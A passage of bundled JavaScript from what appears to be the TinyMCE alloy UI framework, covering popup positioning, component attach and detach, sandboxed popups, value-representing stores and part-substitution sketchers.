      option$3('getSelection'),
      required$1('root'),
      option$3('bubble'),
      schema$y(),
      defaulted('overrides', {}),
      defaulted('showAbove', false),
      output$1('placement', placement$1)
    ];

    const labelPrefix$1 = 'link-layout';
    const eastX = anchor => anchor.x + anchor.width;
    const westX = (anchor, element) => anchor.x - element.width;
    const northY$1 = (anchor, element) => anchor.y - element.height + anchor.height;
    const southY$1 = anchor => anchor.y;
    const southeast$1 = (anchor, element, bubbles) => nu$6(eastX(anchor), southY$1(anchor), bubbles.southeast(), southeast$3(), 'southeast', boundsRestriction(anchor, {
      left: 0,
      top: 2
    }), labelPrefix$1);
    const southwest$1 = (anchor, element, bubbles) => nu$6(westX(anchor, element), southY$1(anchor), bubbles.southwest(), southwest$3(), 'southwest', boundsRestriction(anchor, {
      right: 1,
      top: 2
    }), labelPrefix$1);
    const northeast$1 = (anchor, element, bubbles) => nu$6(eastX(anchor), northY$1(anchor, element), bubbles.northeast(), northeast$3(), 'northeast', boundsRestriction(anchor, {
      left: 0,
      bottom: 3
    }), labelPrefix$1);
    const northwest$1 = (anchor, element, bubbles) => nu$6(westX(anchor, element), northY$1(anchor, element), bubbles.northwest(), northwest$3(), 'northwest', boundsRestriction(anchor, {
      right: 1,
      bottom: 3
    }), labelPrefix$1);
    const all = () => [
      southeast$1,
      southwest$1,
      northeast$1,
      northwest$1
    ];
    const allRtl = () => [
      southwest$1,
      southeast$1,
      northwest$1,
      northeast$1
    ];

    const placement = (component, submenuInfo, origin) => {
      const anchorBox = toBox(origin, submenuInfo.item.element);
      const layouts = get$5(component.element, submenuInfo, all(), allRtl(), all(), allRtl(), Optional.none());
      return Optional.some(nu$4({
        anchorBox,
        bubble: fallback(),
        overrides: submenuInfo.overrides,
        layouts,
        placer: Optional.none()
      }));
    };
    var SubmenuAnchor = [
      required$1('item'),
      schema$y(),
      defaulted('overrides', {}),
      output$1('placement', placement)
    ];

    var AnchorSchema = choose$1('type', {
      selection: SelectionAnchor,
      node: NodeAnchor,
      hotspot: HotspotAnchor,
      submenu: SubmenuAnchor,
      makeshift: MakeshiftAnchor
    });

    const TransitionSchema = [
      requiredArrayOf('classes', string),
      defaultedStringEnum('mode', 'all', [
        'all',
        'layout',
        'placement'
      ])
    ];
    const PositionSchema = [
      defaulted('useFixed', never),
      option$3('getBounds')
    ];
    const PlacementSchema = [
      requiredOf('anchor', AnchorSchema),
      optionObjOf('transition', TransitionSchema)
    ];

    const getFixedOrigin = () => {
      const html = document.documentElement;
      return fixed$1(0, 0, html.clientWidth, html.clientHeight);
    };
    const getRelativeOrigin = component => {
      const position = absolute$3(component.element);
      const bounds = component.element.dom.getBoundingClientRect();
      return relative$1(position.left, position.top, bounds.width, bounds.height);
    };
    const place = (component, origin, anchoring, getBounds, placee, lastPlace, transition) => {
      const anchor = box(anchoring.anchorBox, origin);
      return simple(anchor, placee.element, anchoring.bubble, anchoring.layouts, lastPlace, getBounds, anchoring.overrides, transition);
    };
    const position$1 = (component, posConfig, posState, placee, placementSpec) => {
      positionWithin(component, posConfig, posState, placee, placementSpec, Optional.none());
    };
    const positionWithin = (component, posConfig, posState, placee, placementSpec, boxElement) => {
      const boundsBox = boxElement.map(box$1);
      return positionWithinBounds(component, posConfig, posState, placee, placementSpec, boundsBox);
    };
    const positionWithinBounds = (component, posConfig, posState, placee, placementSpec, bounds) => {
      const placeeDetail = asRawOrDie$1('placement.info', objOf(PlacementSchema), placementSpec);
      const anchorage = placeeDetail.anchor;
      const element = placee.element;
      const placeeState = posState.get(placee.uid);
      preserve$1(() => {
        set$8(element, 'position', 'fixed');
        const oldVisibility = getRaw(element, 'visibility');
        set$8(element, 'visibility', 'hidden');
        const origin = posConfig.useFixed() ? getFixedOrigin() : getRelativeOrigin(component);
        const placer = anchorage.placement;
        const getBounds = bounds.map(constant$1).or(posConfig.getBounds);
        placer(component, anchorage, origin).each(anchoring => {
          const doPlace = anchoring.placer.getOr(place);
          const newState = doPlace(component, origin, anchoring, getBounds, placee, placeeState, placeeDetail.transition);
          posState.set(placee.uid, newState);
        });
        oldVisibility.fold(() => {
          remove$6(element, 'visibility');
        }, vis => {
          set$8(element, 'visibility', vis);
        });
        if (getRaw(element, 'left').isNone() && getRaw(element, 'top').isNone() && getRaw(element, 'right').isNone() && getRaw(element, 'bottom').isNone() && is$1(getRaw(element, 'position'), 'fixed')) {
          remove$6(element, 'position');
        }
      }, element);
    };
    const getMode = (component, pConfig, _pState) => pConfig.useFixed() ? 'fixed' : 'absolute';
    const reset$1 = (component, pConfig, posState, placee) => {
      const element = placee.element;
      each$1([
        'position',
        'left',
        'right',
        'top',
        'bottom'
      ], prop => remove$6(element, prop));
      reset$2(element);
      posState.clear(placee.uid);
    };

    var PositionApis = /*#__PURE__*/Object.freeze({
        __proto__: null,
        position: position$1,
        positionWithin: positionWithin,
        positionWithinBounds: positionWithinBounds,
        getMode: getMode,
        reset: reset$1
    });

    const init$g = () => {
      let state = {};
      const set = (id, data) => {
        state[id] = data;
      };
      const get = id => get$g(state, id);
      const clear = id => {
        if (isNonNullable(id)) {
          delete state[id];
        } else {
          state = {};
        }
      };
      return nu$8({
        readState: () => state,
        clear,
        set,
        get
      });
    };

    var PositioningState = /*#__PURE__*/Object.freeze({
        __proto__: null,
        init: init$g
    });

    const Positioning = create$4({
      fields: PositionSchema,
      name: 'positioning',
      active: ActivePosition,
      apis: PositionApis,
      state: PositioningState
    });

    const isConnected = comp => comp.getSystem().isConnected();
    const fireDetaching = component => {
      emit(component, detachedFromDom());
      const children = component.components();
      each$1(children, fireDetaching);
    };
    const fireAttaching = component => {
      const children = component.components();
      each$1(children, fireAttaching);
      emit(component, attachedToDom());
    };
    const virtualAttach = (parent, child) => {
      parent.getSystem().addToWorld(child);
      if (inBody(parent.element)) {
        fireAttaching(child);
      }
    };
    const virtualDetach = comp => {
      fireDetaching(comp);
      comp.getSystem().removeFromWorld(comp);
    };
    const attach$1 = (parent, child) => {
      append$2(parent.element, child.element);
    };
    const detachChildren$1 = component => {
      each$1(component.components(), childComp => remove$5(childComp.element));
      empty(component.element);
      component.syncComponents();
    };
    const replaceChildren = (component, newSpecs, buildNewChildren) => {
      const subs = component.components();
      detachChildren$1(component);
      const newChildren = buildNewChildren(newSpecs);
      const deleted = difference(subs, newChildren);
      each$1(deleted, comp => {
        fireDetaching(comp);
        component.getSystem().removeFromWorld(comp);
      });
      each$1(newChildren, childComp => {
        if (!isConnected(childComp)) {
          component.getSystem().addToWorld(childComp);
          attach$1(component, childComp);
          if (inBody(component.element)) {
            fireAttaching(childComp);
          }
        } else {
          attach$1(component, childComp);
        }
      });
      component.syncComponents();
    };
    const virtualReplaceChildren = (component, newSpecs, buildNewChildren) => {
      const subs = component.components();
      const existingComps = bind$3(newSpecs, spec => getPremade(spec).toArray());
      each$1(subs, childComp => {
        if (!contains$2(existingComps, childComp)) {
          virtualDetach(childComp);
        }
      });
      const newChildren = buildNewChildren(newSpecs);
      const deleted = difference(subs, newChildren);
      each$1(deleted, deletedComp => {
        if (isConnected(deletedComp)) {
          virtualDetach(deletedComp);
        }
      });
      each$1(newChildren, childComp => {
        if (!isConnected(childComp)) {
          virtualAttach(component, childComp);
        }
      });
      component.syncComponents();
    };

    const attach = (parent, child) => {
      attachWith(parent, child, append$2);
    };
    const attachWith = (parent, child, insertion) => {
      parent.getSystem().addToWorld(child);
      insertion(parent.element, child.element);
      if (inBody(parent.element)) {
        fireAttaching(child);
      }
      parent.syncComponents();
    };
    const doDetach = component => {
      fireDetaching(component);
      remove$5(component.element);
      component.getSystem().removeFromWorld(component);
    };
    const detach = component => {
      const parent$1 = parent(component.element).bind(p => component.getSystem().getByDom(p).toOptional());
      doDetach(component);
      parent$1.each(p => {
        p.syncComponents();
      });
    };
    const detachChildren = component => {
      const subs = component.components();
      each$1(subs, doDetach);
      empty(component.element);
      component.syncComponents();
    };
    const attachSystem = (element, guiSystem) => {
      attachSystemWith(element, guiSystem, append$2);
    };
    const attachSystemAfter = (element, guiSystem) => {
      attachSystemWith(element, guiSystem, after$2);
    };
    const attachSystemWith = (element, guiSystem, inserter) => {
      inserter(element, guiSystem.element);
      const children$1 = children(guiSystem.element);
      each$1(children$1, child => {
        guiSystem.getByDom(child).each(fireAttaching);
      });
    };
    const detachSystem = guiSystem => {
      const children$1 = children(guiSystem.element);
      each$1(children$1, child => {
        guiSystem.getByDom(child).each(fireDetaching);
      });
      remove$5(guiSystem.element);
    };

    const rebuild = (sandbox, sConfig, sState, data) => {
      sState.get().each(_data => {
        detachChildren(sandbox);
      });
      const point = sConfig.getAttachPoint(sandbox);
      attach(point, sandbox);
      const built = sandbox.getSystem().build(data);
      attach(sandbox, built);
      sState.set(built);
      return built;
    };
    const open$1 = (sandbox, sConfig, sState, data) => {
      const newState = rebuild(sandbox, sConfig, sState, data);
      sConfig.onOpen(sandbox, newState);
      return newState;
    };
    const setContent = (sandbox, sConfig, sState, data) => sState.get().map(() => rebuild(sandbox, sConfig, sState, data));
    const openWhileCloaked = (sandbox, sConfig, sState, data, transaction) => {
      cloak(sandbox, sConfig);
      open$1(sandbox, sConfig, sState, data);
      transaction();
      decloak(sandbox, sConfig);
    };
    const close$1 = (sandbox, sConfig, sState) => {
      sState.get().each(data => {
        detachChildren(sandbox);
        detach(sandbox);
        sConfig.onClose(sandbox, data);
        sState.clear();
      });
    };
    const isOpen$1 = (_sandbox, _sConfig, sState) => sState.isOpen();
    const isPartOf = (sandbox, sConfig, sState, queryElem) => isOpen$1(sandbox, sConfig, sState) && sState.get().exists(data => sConfig.isPartOf(sandbox, data, queryElem));
    const getState$2 = (_sandbox, _sConfig, sState) => sState.get();
    const store = (sandbox, cssKey, attr, newValue) => {
      getRaw(sandbox.element, cssKey).fold(() => {
        remove$7(sandbox.element, attr);
      }, v => {
        set$9(sandbox.element, attr, v);
      });
      set$8(sandbox.element, cssKey, newValue);
    };
    const restore = (sandbox, cssKey, attr) => {
      getOpt(sandbox.element, attr).fold(() => remove$6(sandbox.element, cssKey), oldValue => set$8(sandbox.element, cssKey, oldValue));
    };
    const cloak = (sandbox, sConfig, _sState) => {
      const sink = sConfig.getAttachPoint(sandbox);
      set$8(sandbox.element, 'position', Positioning.getMode(sink));
      store(sandbox, 'visibility', sConfig.cloakVisibilityAttr, 'hidden');
    };
    const hasPosition = element => exists([
      'top',
      'left',
      'right',
      'bottom'
    ], pos => getRaw(element, pos).isSome());
    const decloak = (sandbox, sConfig, _sState) => {
      if (!hasPosition(sandbox.element)) {
        remove$6(sandbox.element, 'position');
      }
      restore(sandbox, 'visibility', sConfig.cloakVisibilityAttr);
    };

    var SandboxApis = /*#__PURE__*/Object.freeze({
        __proto__: null,
        cloak: cloak,
        decloak: decloak,
        open: open$1,
        openWhileCloaked: openWhileCloaked,
        close: close$1,
        isOpen: isOpen$1,
        isPartOf: isPartOf,
        getState: getState$2,
        setContent: setContent
    });

    const events$g = (sandboxConfig, sandboxState) => derive$2([run$1(sandboxClose(), (sandbox, _simulatedEvent) => {
        close$1(sandbox, sandboxConfig, sandboxState);
      })]);

    var ActiveSandbox = /*#__PURE__*/Object.freeze({
        __proto__: null,
        events: events$g
    });

    var SandboxSchema = [
      onHandler('onOpen'),
      onHandler('onClose'),
      required$1('isPartOf'),
      required$1('getAttachPoint'),
      defaulted('cloakVisibilityAttr', 'data-precloak-visibility')
    ];

    const init$f = () => {
      const contents = value$2();
      const readState = constant$1('not-implemented');
      return nu$8({
        readState,
        isOpen: contents.isSet,
        clear: contents.clear,
        set: contents.set,
        get: contents.get
      });
    };

    var SandboxState = /*#__PURE__*/Object.freeze({
        __proto__: null,
        init: init$f
    });

    const Sandboxing = create$4({
      fields: SandboxSchema,
      name: 'sandboxing',
      active: ActiveSandbox,
      apis: SandboxApis,
      state: SandboxState
    });

    const dismissPopups = constant$1('dismiss.popups');
    const repositionPopups = constant$1('reposition.popups');
    const mouseReleased = constant$1('mouse.released');

    const schema$x = objOfOnly([
      defaulted('isExtraPart', never),
      optionObjOf('fireEventInstead', [defaulted('event', dismissRequested())])
    ]);
    const receivingChannel$1 = rawSpec => {
      const detail = asRawOrDie$1('Dismissal', schema$x, rawSpec);
      return {
        [dismissPopups()]: {
          schema: objOfOnly([required$1('target')]),
          onReceive: (sandbox, data) => {
            if (Sandboxing.isOpen(sandbox)) {
              const isPart = Sandboxing.isPartOf(sandbox, data.target) || detail.isExtraPart(sandbox, data.target);
              if (!isPart) {
                detail.fireEventInstead.fold(() => Sandboxing.close(sandbox), fe => emit(sandbox, fe.event));
              }
            }
          }
        }
      };
    };

    const schema$w = objOfOnly([
      optionObjOf('fireEventInstead', [defaulted('event', repositionRequested())]),
      requiredFunction('doReposition')
    ]);
    const receivingChannel = rawSpec => {
      const detail = asRawOrDie$1('Reposition', schema$w, rawSpec);
      return {
        [repositionPopups()]: {
          onReceive: sandbox => {
            if (Sandboxing.isOpen(sandbox)) {
              detail.fireEventInstead.fold(() => detail.doReposition(sandbox), fe => emit(sandbox, fe.event));
            }
          }
        }
      };
    };

    const onLoad$5 = (component, repConfig, repState) => {
      repConfig.store.manager.onLoad(component, repConfig, repState);
    };
    const onUnload$2 = (component, repConfig, repState) => {
      repConfig.store.manager.onUnload(component, repConfig, repState);
    };
    const setValue$3 = (component, repConfig, repState, data) => {
      repConfig.store.manager.setValue(component, repConfig, repState, data);
    };
    const getValue$3 = (component, repConfig, repState) => repConfig.store.manager.getValue(component, repConfig, repState);
    const getState$1 = (component, repConfig, repState) => repState;

    var RepresentApis = /*#__PURE__*/Object.freeze({
        __proto__: null,
        onLoad: onLoad$5,
        onUnload: onUnload$2,
        setValue: setValue$3,
        getValue: getValue$3,
        getState: getState$1
    });

    const events$f = (repConfig, repState) => {
      const es = repConfig.resetOnDom ? [
        runOnAttached((comp, _se) => {
          onLoad$5(comp, repConfig, repState);
        }),
        runOnDetached((comp, _se) => {
          onUnload$2(comp, repConfig, repState);
        })
      ] : [loadEvent(repConfig, repState, onLoad$5)];
      return derive$2(es);
    };

    var ActiveRepresenting = /*#__PURE__*/Object.freeze({
        __proto__: null,
        events: events$f
    });

    const memory$1 = () => {
      const data = Cell(null);
      const readState = () => ({
        mode: 'memory',
        value: data.get()
      });
      const isNotSet = () => data.get() === null;
      const clear = () => {
        data.set(null);
      };
      return nu$8({
        set: data.set,
        get: data.get,
        isNotSet,
        clear,
        readState
      });
    };
    const manual = () => {
      const readState = noop;
      return nu$8({ readState });
    };
    const dataset = () => {
      const dataByValue = Cell({});
      const dataByText = Cell({});
      const readState = () => ({
        mode: 'dataset',
        dataByValue: dataByValue.get(),
        dataByText: dataByText.get()
      });
      const clear = () => {
        dataByValue.set({});
        dataByText.set({});
      };
      const lookup = itemString => get$g(dataByValue.get(), itemString).orThunk(() => get$g(dataByText.get(), itemString));
      const update = items => {
        const currentDataByValue = dataByValue.get();
        const currentDataByText = dataByText.get();
        const newDataByValue = {};
        const newDataByText = {};
        each$1(items, item => {
          newDataByValue[item.value] = item;
          get$g(item, 'meta').each(meta => {
            get$g(meta, 'text').each(text => {
              newDataByText[text] = item;
            });
          });
        });
        dataByValue.set({
          ...currentDataByValue,
          ...newDataByValue
        });
        dataByText.set({
          ...currentDataByText,
          ...newDataByText
        });
      };
      return nu$8({
        readState,
        lookup,
        update,
        clear
      });
    };
    const init$e = spec => spec.store.manager.state(spec);

    var RepresentState = /*#__PURE__*/Object.freeze({
        __proto__: null,
        memory: memory$1,
        dataset: dataset,
        manual: manual,
        init: init$e
    });

    const setValue$2 = (component, repConfig, repState, data) => {
      const store = repConfig.store;
      repState.update([data]);
      store.setValue(component, data);
      repConfig.onSetValue(component, data);
    };
    const getValue$2 = (component, repConfig, repState) => {
      const store = repConfig.store;
      const key = store.getDataKey(component);
      return repState.lookup(key).getOrThunk(() => store.getFallbackEntry(key));
    };
    const onLoad$4 = (component, repConfig, repState) => {
      const store = repConfig.store;
      store.initialValue.each(data => {
        setValue$2(component, repConfig, repState, data);
      });
    };
    const onUnload$1 = (component, repConfig, repState) => {
      repState.clear();
    };
    var DatasetStore = [
      option$3('initialValue'),
      required$1('getFallbackEntry'),
      required$1('getDataKey'),
      required$1('setValue'),
      output$1('manager', {
        setValue: setValue$2,
        getValue: getValue$2,
        onLoad: onLoad$4,
        onUnload: onUnload$1,
        state: dataset
      })
    ];

    const getValue$1 = (component, repConfig, _repState) => repConfig.store.getValue(component);
    const setValue$1 = (component, repConfig, _repState, data) => {
      repConfig.store.setValue(component, data);
      repConfig.onSetValue(component, data);
    };
    const onLoad$3 = (component, repConfig, _repState) => {
      repConfig.store.initialValue.each(data => {
        repConfig.store.setValue(component, data);
      });
    };
    var ManualStore = [
      required$1('getValue'),
      defaulted('setValue', noop),
      option$3('initialValue'),
      output$1('manager', {
        setValue: setValue$1,
        getValue: getValue$1,
        onLoad: onLoad$3,
        onUnload: noop,
        state: NoState.init
      })
    ];

    const setValue = (component, repConfig, repState, data) => {
      repState.set(data);
      repConfig.onSetValue(component, data);
    };
    const getValue = (component, repConfig, repState) => repState.get();
    const onLoad$2 = (component, repConfig, repState) => {
      repConfig.store.initialValue.each(initVal => {
        if (repState.isNotSet()) {
          repState.set(initVal);
        }
      });
    };
    const onUnload = (component, repConfig, repState) => {
      repState.clear();
    };
    var MemoryStore = [
      option$3('initialValue'),
      output$1('manager', {
        setValue,
        getValue,
        onLoad: onLoad$2,
        onUnload,
        state: memory$1
      })
    ];

    var RepresentSchema = [
      defaultedOf('store', { mode: 'memory' }, choose$1('mode', {
        memory: MemoryStore,
        manual: ManualStore,
        dataset: DatasetStore
      })),
      onHandler('onSetValue'),
      defaulted('resetOnDom', false)
    ];

    const Representing = create$4({
      fields: RepresentSchema,
      name: 'representing',
      active: ActiveRepresenting,
      apis: RepresentApis,
      extra: {
        setValueFrom: (component, source) => {
          const value = Representing.getValue(source);
          Representing.setValue(component, value);
        }
      },
      state: RepresentState
    });

    const field = (name, forbidden) => defaultedObjOf(name, {}, map$2(forbidden, f => forbid(f.name(), 'Cannot configure ' + f.name() + ' for ' + name)).concat([customField('dump', identity)]));
    const get$3 = data => data.dump;
    const augment = (data, original) => ({
      ...derive$1(original),
      ...data.dump
    });
    const SketchBehaviours = {
      field,
      augment,
      get: get$3
    };

    const _placeholder = 'placeholder';
    const adt$3 = Adt.generate([
      {
        single: [
          'required',
          'valueThunk'
        ]
      },
      {
        multiple: [
          'required',
          'valueThunks'
        ]
      }
    ]);
    const isSubstituted = spec => has$2(spec, 'uiType');
    const subPlaceholder = (owner, detail, compSpec, placeholders) => {
      if (owner.exists(o => o !== compSpec.owner)) {
        return adt$3.single(true, constant$1(compSpec));
      }
      return get$g(placeholders, compSpec.name).fold(() => {
        throw new Error('Unknown placeholder component: ' + compSpec.name + '\nKnown: [' + keys(placeholders) + ']\nNamespace: ' + owner.getOr('none') + '\nSpec: ' + JSON.stringify(compSpec, null, 2));
      }, newSpec => newSpec.replace());
    };
    const scan = (owner, detail, compSpec, placeholders) => {
      if (isSubstituted(compSpec) && compSpec.uiType === _placeholder) {
        return subPlaceholder(owner, detail, compSpec, placeholders);
      } else {
        return adt$3.single(false, constant$1(compSpec));
      }
    };
    const substitute = (owner, detail, compSpec, placeholders) => {
      const base = scan(owner, detail, compSpec, placeholders);
      return base.fold((req, valueThunk) => {
        const value = isSubstituted(compSpec) ? valueThunk(detail, compSpec.config, compSpec.validated) : valueThunk(detail);
        const childSpecs = get$g(value, 'components').getOr([]);
        const substituted = bind$3(childSpecs, c => substitute(owner, detail, c, placeholders));
        return [{
            ...value,
            components: substituted
          }];
      }, (req, valuesThunk) => {
        if (isSubstituted(compSpec)) {
          const values = valuesThunk(detail, compSpec.config, compSpec.validated);
          const preprocessor = compSpec.validated.preprocess.getOr(identity);
          return preprocessor(values);
        } else {
          return valuesThunk(detail);
        }
      });
    };
    const substituteAll = (owner, detail, components, placeholders) => bind$3(components, c => substitute(owner, detail, c, placeholders));
    const oneReplace = (label, replacements) => {
      let called = false;
      const used = () => called;
      const replace = () => {
        if (called) {
          throw new Error('Trying to use the same placeholder more than once: ' + label);
        }
        called = true;
        return replacements;
      };
      const required = () => replacements.fold((req, _) => req, (req, _) => req);
      return {
        name: constant$1(label),
        required,
        used,
        replace
      };
    };
    const substitutePlaces = (owner, detail, components, placeholders) => {
      const ps = map$1(placeholders, (ph, name) => oneReplace(name, ph));
      const outcome = substituteAll(owner, detail, components, ps);
      each(ps, p => {
        if (p.used() === false && p.required()) {
          throw new Error('Placeholder: ' + p.name() + ' was not found in components list\nNamespace: ' + owner.getOr('none') + '\nComponents: ' + JSON.stringify(detail.components, null, 2));
        }
      });
      return outcome;
    };
    const single$2 = adt$3.single;
    const multiple = adt$3.multiple;
    const placeholder = constant$1(_placeholder);

    const adt$2 = Adt.generate([
      { required: ['data'] },
      { external: ['data'] },
      { optional: ['data'] },
      { group: ['data'] }
    ]);
    const fFactory = defaulted('factory', { sketch: identity });
    const fSchema = defaulted('schema', []);
    const fName = required$1('name');
    const fPname = field$1('pname', 'pname', defaultedThunk(typeSpec => '<alloy.' + generate$6(typeSpec.name) + '>'), anyValue());
    const fGroupSchema = customField('schema', () => [option$3('preprocess')]);
    const fDefaults = defaulted('defaults', constant$1({}));
    const fOverrides = defaulted('overrides', constant$1({}));
    const requiredSpec = objOf([
      fFactory,
      fSchema,
      fName,
      fPname,
      fDefaults,
      fOverrides
    ]);
    const externalSpec = objOf([
      fFactory,
      fSchema,
      fName,
      fDefaults,
      fOverrides
    ]);
    const optionalSpec = objOf([
      fFactory,
      fSchema,
      fName,
      fPname,
      fDefaults,
      fOverrides
    ]);
    const groupSpec = objOf([
      fFactory,
      fGroupSchema,
      fName,
      required$1('unit'),
      fPname,
      fDefaults,
      fOverrides
    ]);
    const asNamedPart = part => {
      return part.fold(Optional.some, Optional.none, Optional.some, Optional.some);
    };
    const name$2 = part => {
      const get = data => data.name;
      return part.fold(get, get, get, get);
    };
    const asCommon = part => {
      return part.fold(identity, identity, identity, identity);
    };
    const convert = (adtConstructor, partSchema) => spec => {
      const data = asRawOrDie$1('Converting part type', partSchema, spec);
      return adtConstructor(data);
    };
    const required = convert(adt$2.required, requiredSpec);
    const external = convert(adt$2.external, externalSpec);
    const optional = convert(adt$2.optional, optionalSpec);
    const group = convert(adt$2.group, groupSpec);
    const original = constant$1('entirety');

    var PartType = /*#__PURE__*/Object.freeze({
        __proto__: null,
        required: required,
        external: external,
        optional: optional,
        group: group,
        asNamedPart: asNamedPart,
        name: name$2,
        asCommon: asCommon,
        original: original
    });

    const combine = (detail, data, partSpec, partValidated) => deepMerge(data.defaults(detail, partSpec, partValidated), partSpec, { uid: detail.partUids[data.name] }, data.overrides(detail, partSpec, partValidated));
    const subs = (owner, detail, parts) => {
      const internals = {};
      const externals = {};
      each$1(parts, part => {
        part.fold(data => {
          internals[data.pname] = single$2(true, (detail, partSpec, partValidated) => data.factory.sketch(combine(detail, data, partSpec, partValidated)));
        }, data => {
          const partSpec = detail.parts[data.name];
          externals[data.name] = constant$1(data.factory.sketch(combine(detail, data, partSpec[original()]), partSpec));
        }, data => {
          internals[data.pname] = single$2(false, (detail, partSpec, partValidated) => data.factory.sketch(combine(detail, data, partSpec, partValidated)));
        }, data => {
          internals[data.pname] = multiple(true, (detail, _partSpec, _partValidated) => {
            const units = detail[data.name];
            return map$2(units, u => data.factory.sketch(deepMerge(data.defaults(detail, u, _partValidated), u, data.overrides(detail, u))));
          });
        });
      });
      return {
        internals: constant$1(internals),
        externals: constant$1(externals)
      };
    };

    const generate$3 = (owner, parts) => {
      const r = {};
      each$1(parts, part => {
        asNamedPart(part).each(np => {
          const g = doGenerateOne(owner, np.pname);
          r[np.name] = config => {
            const validated = asRawOrDie$1('Part: ' + np.name + ' in ' + owner, objOf(np.schema), config);
            return {
              ...g,
              config,
              validated
            };
          };
        });
      });
      return r;
    };
    const doGenerateOne = (owner, pname) => ({
      uiType: placeholder(),
      owner,
      name: pname
    });
    const generateOne$1 = (owner, pname, config) => ({
      uiType: placeholder(),
      owner,
      name: pname,
      config,
      validated: {}
    });
    const schemas = parts => bind$3(parts, part => part.fold(Optional.none, Optional.some, Optional.none, Optional.none).map(data => requiredObjOf(data.name, data.schema.concat([snapshot(original())]))).toArray());
    const names = parts => map$2(parts, name$2);
    const substitutes = (owner, detail, parts) => subs(owner, detail, parts);
    const components$1 = (owner, detail, internals) => substitutePlaces(Optional.some(owner), detail, detail.components, internals);
    const getPart = (component, detail, partKey) => {
      const uid = detail.partUids[partKey];
      return component.getSystem().getByUid(uid).toOptional();
    };
    const getPartOrDie = (component, detail, partKey) => getPart(component, detail, partKey).getOrDie('Could not find part: ' + partKey);
    const getParts = (component, detail, partKeys) => {
      const r = {};
      const uids = detail.partUids;
      const system = component.getSystem();
      each$1(partKeys, pk => {
        r[pk] = constant$1(system.getByUid(uids[pk]));
      });
      return r;
    };
    const getAllParts = (component, detail) => {
      const system = component.getSystem();
      return map$1(detail.partUids, (pUid, _k) => constant$1(system.getByUid(pUid)));
    };
    const getAllPartNames = detail => keys(detail.partUids);
    const getPartsOrDie = (component, detail, partKeys) => {
      const r = {};
      const uids = detail.partUids;
      const system = component.getSystem();
      each$1(partKeys, pk => {
        r[pk] = constant$1(system.getByUid(uids[pk]).getOrDie());
      });
      return r;
    };
    const defaultUids = (baseUid, partTypes) => {
      const partNames = names(partTypes);
      return wrapAll(map$2(partNames, pn => ({
        key: pn,
        value: baseUid + '-' + pn
      })));
    };
    const defaultUidsSchema = partTypes => field$1('partUids', 'partUids', mergeWithThunk(spec => defaultUids(spec.uid, partTypes)), anyValue());

    var AlloyParts = /*#__PURE__*/Object.freeze({
        __proto__: null,
        generate: generate$3,
        generateOne: generateOne$1,
        schemas: schemas,
        names: names,
        substitutes: substitutes,
        components: components$1,
        defaultUids: defaultUids,
        defaultUidsSchema: defaultUidsSchema,
        getAllParts: getAllParts,
        getAllPartNames: getAllPartNames,
        getPart: getPart,
        getPartOrDie: getPartOrDie,
        getParts: getParts,
        getPartsOrDie: getPartsOrDie
    });

    const base = (partSchemas, partUidsSchemas) => {
      const ps = partSchemas.length > 0 ? [requiredObjOf('parts', partSchemas)] : [];
      return ps.concat([
        required$1('uid'),
        defaulted('dom', {}),
        defaulted('components', []),
        snapshot('originalSpec'),
        defaulted('debug.sketcher', {})
      ]).concat(partUidsSchemas);
    };
    const asRawOrDie = (label, schema, spec, partSchemas, partUidsSchemas) => {
      const baseS = base(partSchemas, partUidsSchemas);
      return asRawOrDie$1(label + ' [SpecSchema]', objOfOnly(baseS.concat(schema)), spec);
    };

    const single$1 = (owner, schema, factory, spec) => {
      const specWithUid = supplyUid(spec);
      const detail = asRawOrDie(owner, schema, specWithUid, [], []);
      return factory(detail, specWithUid);
    };
    const composite$1 = (owner, schema, partTypes, factory, spec) => {
      const specWithUid = supplyUid(spec);
      const partSchemas = schemas(partTypes);
      const partUidsSchema = defaultUidsSchema(partTypes);
      const detail = asRawOrDie(owner, schema, specWithUid, partSchemas, [partUidsSchema]);
      const subs = substitutes(owner, detail, partTypes);
      const components = components$1(owner, detail, subs.internals());
      return factory(detail, components, specWithUid, subs.externals());
    };
    const hasUid = spec => has$2(spec, 'uid');
    const supplyUid = spec => {
      return hasUid(spec) ? spec : {
        ...spec,
        uid: generate$5('uid')
      };
    };

    const isSketchSpec = spec => {
      return spec.uid !== undefined;
    };
    const singleSchema = objOfOnly([
      required$1('name'),
      required$1('factory'),
      required$1('configFields'),
      defaulted('apis', {}),
      defaulted('extraApis', {})
    ]);
    const compositeSchema = objOfOnly([
      required$1('name'),
      required$1('factory'),
      required$1('configFields'),
      required$1('partFields'),
      defaulted('apis', {}),
      defaulted('extraApis', {})
    ]);
    const single = rawConfig => {
      const config = asRawOrDie$1('Sketcher for ' + rawConfig.name, singleSchema, rawConfig);
      const sketch = spec => single$1(config.name, config.configFields, config.factory, spec);
      const apis = map$1(config.apis, makeApi);
      const extraApis = map$1(config.extraApis, (f, k) => markAsExtraApi(f, k));
      return {
        name: config.name,
        configFields: config.configFields,
        sketch,
        ...apis,
        ...extraApis
      };
    };
    const composite = rawConfig => {
      const config = asRawOrDie$1('Sketcher for ' + rawConfig.name, compositeSchema, rawConfig);
      const sketch = spec => composite$1(config.name, config.configFields, config.partFields, config.factory, spec);
      const parts = generate$3(config.name, config.partFields);
      const apis = map$1(config.apis, makeApi);
      const extraApis = map$1(config.extraApis, (f, k) => markAsExtraApi(f, k));
      return {
        name: config.name,
        partFields: config.partFields,
        configFields: config.configFields,
        sketch,
        parts,
        ...apis,
        ...extraApis
      };
    };

    const inside = target => isTag('input')(target) && get$f(target, 'type') !== 'radio' || isTag('textarea')(target);

    const getCurrent = (component, composeConfig, _composeState) => composeConfig.find(component);

    var ComposeApis = /*#__PURE__*/Object.freeze({
        __proto__: null,
        getCurrent: getCurrent
    });

    const ComposeSchema = [required$1('find')];

    const Composing = create$4({
      fields: ComposeSchema,
      name: 'composing',
      apis: ComposeApis
    });

    const nativeDisabled = [
      'input',
      'button',
      'textarea',
      'select'
    ];
    const onLoad$1 = (component, disableConfig, disableState) => {
      const f = disableConfig.disabled() ? disable : enable;
      f(component, disableConfig);
    };
    const hasNative = (component, config) => config.useNative === true && contains$2(nativeDisabled, name$3(component.element));
    const nativeIsDisabled = component => has$1(component.element, 'disabled');
    const nativeDisable = component => {
      set$9(component.element, 'disabled', 'disabled');
    };
    const nativeEnable = component => {
      remove$7(component.element, 'disabled');
    };
    const ariaIsDisabled = component => get$f(component.element, 'aria-disabled') === 'true';
    const ariaDisable = component => {
      set$9(component.element, 'aria-disabled', 'true');
    };
    const ariaEnable = component => {
      set$9(component.element, 'aria-disabled', 'false');
    };
    const disable = (component, disableConfig, _disableState) => {
